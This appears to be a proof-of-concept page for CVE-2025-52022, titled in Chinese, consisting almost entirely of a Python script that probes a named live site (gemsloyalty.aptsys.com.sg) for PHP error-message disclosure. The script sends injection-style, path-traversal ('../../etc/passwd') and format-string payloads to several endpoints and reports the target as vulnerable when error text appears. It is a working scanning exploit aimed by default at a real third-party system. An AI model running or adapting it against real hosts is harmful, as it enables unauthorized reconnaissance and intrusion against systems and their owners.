CVE-2025-52022 gemsloyalty.aptsys.com.sg PHP后端错误信息泄露漏洞

import requests import sys # CVE-2025-52022 PoC - Information Disclosure via Error Messages # Target: gemsloyalty.aptsys.com.sg def test_vulnerability(target_url): """Test for CVE-2025-52022 Information Disclosure""" # Test different endpoints with malformed requests endpoints = [ '/api/', '/api/v1/', '/api/endpoint', '/api.php', '/index.php' ] payloads = [ {'param': 'test\''}, # SQL-like injection {'param': '../../etc/passwd'}, # Path traversal attempt {'param': '%s%s%s%s'}, # Format string {'param': None}, # Missing parameter ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint for i, payload in enumerate(payloads): try: # Test GET request response = requests.get(url, params=payload, timeout=10) # Check for information disclosure indicators indicators = [ 'stack trace', 'Traceback', '/var/www/', 'C:\inetpub\', 'Undefined index', 'Fatal error', 'Warning:', 'Exception', '.php on line', 'Array', 'Stack', 'at ' ] content = response.text.lower() found_indicators = [ind for ind in indicators if ind.lower() in content] if found_indicators: print(f"[+] VULNERABLE: {url}") print(f" Payload: {payload}") print(f" Found indicators: {found_indicators}") print(f" Status code: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {e}") return False if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] else: target = 'https://gemsloyalty.aptsys.com.sg' print(f"[*] Testing CVE-2025-52022 on {target}") result = test_vulnerability(target) if result: print("\n[!] Target is vulnerable to information disclosure") else: print("\n[*] No vulnerability detected")